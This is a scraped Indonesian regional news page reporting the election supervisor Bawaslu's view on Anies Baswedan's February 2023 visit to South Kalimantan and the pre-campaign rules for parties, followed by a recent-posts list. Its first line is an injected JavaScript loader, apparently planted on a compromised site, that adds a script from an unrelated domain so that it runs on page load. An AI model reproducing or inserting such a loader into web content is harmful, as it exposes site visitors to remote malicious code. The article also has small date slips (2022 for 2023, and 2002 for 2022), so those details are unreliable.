(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Anies Baswedan ke Kalsel, Bawaslu: Jika Difasilitasi Parpol Ada Dugaan Pelanggaran


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Gubernur DKI Jakarta Anies Baswedan akan berkunjung ke Kalimantan Selatan pada 15-16 Februari 2023 mendatang.

Kedatangan bakal calon presiden Nasdem itu dipastikan oleh jajaran pengurus partai besutan Surya Paloh beberapa waktu lalu.

Menindaklanjuti kabar kedatangan Anies ke Kalsel, Komisioner Pengawasan Pemilu Bawaslu Kalsel, Muhammad Radhini mengatakan, kedatangan Anies tidak bertentangan dengan PKPU Nomor 33 tahun 2018 tentang Kampanye Pemilu dan PKPU Nomor Nomor 9 tahun 2022 tentang Partisipasi Masyarakat dalam Pemilu dan Pilkada.

“Yang penting dalam kegiatan yang dilaksanakan tidak bertentangan dengan PKPU,” katanya, Senin (6/2/2022) siang.

 

Baca juga: IDAI: 1.645 Anak di Indonesia Idap Diabetes Mellitus

Kordinator Divisi Pencegahan dan Humas Bawaslu Kalsel ini juga menjelaskan, pihaknya tidak memiliki wewenang untuk memberikan izin atau tidak memberikan izin kepada siapa saja yang akan datang ke Kalsel, termasuk Anies Baswedan.

Akan tetapi, dikatakan Radhini jika kemudian kedatangan Anies difasilitasi oleh partai politik peserta Pemilu 2024 dan kegiatan parpol dimaksud mengandung unsur kampanye sebagaimana diatur dalam pasal 25 ayat (1) PKPU 33/2018 maka berpotensi melanggar aturan yang ada.

Sekretariat Badan Pengawas Pemilu (Bawaslu) Kalimantan Selatan di Kota Banjarmasin. Foto: rizki

“Maka patut diduga parpol tersebut melanggar tata cara, prosedur, atau mekanisme yang dalam hal ini Bawaslu berwenang untuk menerima laporan dan atau menemukan adanya dugaan pelanggaran tersebut,” ungkapnya.

Lebih lanjut disampaikannya, Bawaslu memiliki tugas dan kewenangan melakukan pencegahan terhadap pelanggaran pemilu.

Baca juga: 5 Daerah di Kalsel Kena Banjir, BPBD Kalsel: 15 Ribu Jiwa Terdampak

“Selain terhadap pelanggaran administrasi, pidana, dan etik, Bawaslu juga berwenang merekomendasikan atas dugaan pelanggaran hukum lainnya,” pungkasnya.

Sekadar diketahui, PKPU Nomor 33 Tahun 2018 tentang Kampanye Pemilu dan PKPU Nomor 9 tahun 2002 tentang Partisipasi Masyarakat dalam Pemilu dan Pilkada didalamnya memuat bahwa secara umum setelah keputusan KPU tentang parpol peserta Pemilu ditetapkan, maka mutatis mutandis ketentuan yang berkaitan pengaturan tentang subjek hukum (dalam hal ini parpol peserta pemilu) sudah melekat. Seperti halnya dalam ketentuan pasal 25 ayat (1) PKPU 33/2018 yang menyatakan parpol peserta Pemilu dilarang melakukan aktivitas kampanye sebelum masa kampanye.

Kendati demikian parpol peserta Pemilu diperbolehkan melakukan aktivitas sosialisasi dan pendidikan politik (yang dilaksanakan diinternal parpol) yang metodenya diatur secara limitatif yakni hanya dengan pemasangan bendera dan pertemuan terbatas (dalam ruangan tertutup), dengan memberitahukan 1 hari sebelumnya kepada KPU dan Bawaslu. (Pasal 26 ayat (2) PKPU 33/2018). Dalam konteks memberitahukan pada ketentuan a quo bukan berarti KPU dan Bawaslu sebagai penentu memberikan atau tidak memberikan izin kepada parpol peserta pemilu atas pelaksanaan sosialisasi dan pendidikan parpol.

Sebelumnya, Sekretaris DPW Nasdem Kalsel, Akhmad Rozanie HN mengatakan, Anies Baswedan akan melaksanakan beberapa agenda di Provinsi Kalsel.

Baca juga: Tiga Banjar Sumbang Kasus DBD Terbanyak, Dinkes Kalsel: Sudah Ada Korban Meninggal Dunia

“Menyapa relawan di dapur Himalaya, ke lapangan Barakat Kabupaten Banjar, dilanjutkan dengan puncaknya di lapangan Barakat sekitar pukul 12.00 Wita yang akan dihadiri 10-15 ribu simpatisan,” kata Sekretaris Nasdem Kalsel.

“Anies juga dijadwalkan akan melakukan ziarah ke makam Syekh Muhammad Arsyad Al Banjari (Datu Kalampayan),” tambahnya.

Selain itu, Anies juga dijadwalkan akan mengunjungi Kota Lama di Banjarmasin pada malam hari, kemudian siangnya akan ke Pasar Terapung Lok Baintan dan diakhiri pertemuan dengan Himpunan Mahasiswa Islam (HMI) Kalselteng.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

11 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

12 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

12 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

13 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

14 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

15 jam ago

This website uses cookies.